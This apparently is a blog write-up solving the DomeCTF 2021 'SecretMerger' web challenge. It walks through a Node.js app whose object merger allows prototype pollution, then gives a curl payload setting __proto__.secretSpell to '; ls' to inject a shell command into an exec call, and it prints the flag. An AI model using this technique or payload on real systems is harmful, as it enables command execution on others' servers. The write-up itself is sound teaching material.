SecretMerger is a medium difficulty web challenge created for DomeCTF 2021, and in this blog we’ll be discussing how to solve the challenge(the intended way).

chall-files

We’re given a node project with 3 files:

├── app.js -> Contains the main application logic
├── package.json -> Package information and dependencies used
└── utils.js -> ObjectMerger logic

We can first inspect the app.js to understand what happens server-side.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// app.js
app.get('/', function(req, res){
res.end('Welcome to the Secret Merge service!');
});

app.post('/secret', function(req, res){
var path = req.body.path;
var value = req.body.value;

if(typeof path !== "undefined"){
secretMerger({}, path, value);
}

try{
exec('cat info.txt ' + secretSpell, (err, resp)=> {
res.end(resp);
});
}catch(e){
res.end('Server Occured an error. Make sure you get the payload right!');
}
});

const server = app.listen(3000, function(){
console.log("secret merger started!");
});

Route to GET / does nothing else other than the welcome message, we’ll have to dig through POST /secret to find out what’s going on.

It takes two req.body values, path & and value, if they’re defined, they’re passed to the secretMerger() function which is defined in utils.js. So we can take a look at how the secretMerger() processes the values.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// utils.js
for (len = path.length; i < len; ++i) {
k = path[i];
isLastElement = i === len - 1;
if (settingAValue && !obj) {
obj = {};
}
if (settingAValue && isLastElement) {
obj[k] = value;
return value;
} else {
if (settingAValue) {
if ('object' !== typeof obj[k]) {
obj[k] = {};
}
obj = obj[k];
} else {
if (obj && k in obj) {
obj = obj[k];
} else {
return undefined;
}
}
}
}

return obj;

Reading the code, we can see that the function simply merges two objects together(source as an empty object and destination as it’s path and value). Here’s how the merge works:

For each property in source, check if that property is object itself. If it is then go down recursively and try to map child object properties from source to destination. So essentially we merge object hierarchy from source to destination (same as that of $.extent() in jQuery or _.merge() in lodash).

In JavaScript, when new objects are created, they carry over the properties and methods of the prototype “object”, which contains basic functionalities such as toString, constructor, and hasOwnProperty. Object-based inheritance gives JavaScript flexibility and efficiency, but it also makes it vulnerable to tampering. Attackers can make application-wide changes to all objects by modifying object, hence creating a prototype pollution vulnerability.

1
2
3
exec('cat info.txt ' + secretSpell, (err, resp)=> {
res.end(resp);
});

Going back to app.js again, we can see it then attempts to cat info.txt along with a secretSpell variable, which is not in scope. Also it uses child_process.exec() to spawn subprocess, so we could possibly get an arbitrary OS command injection abusing the secretSpell variable. Here’s how the payload works:

  • Create a malicious destination object to pollute path.
  • Overwrite the secretSpell variable.
  • Getting arbitrary command injection.

We can access secretSpell through __proto__ property of the destination object:

1
curl --data '{"path":"__proto__.secretSpell", "value":"; ls"}' -H "Content-Type: application/json" --url http://127.0.0.1:3000/secret -X POST

code-executed!

After code execution, we can find a directory TopSecretData with the flag in it.

flag.txt

DomeCTF{ea645983443b225edb3046529bf083be}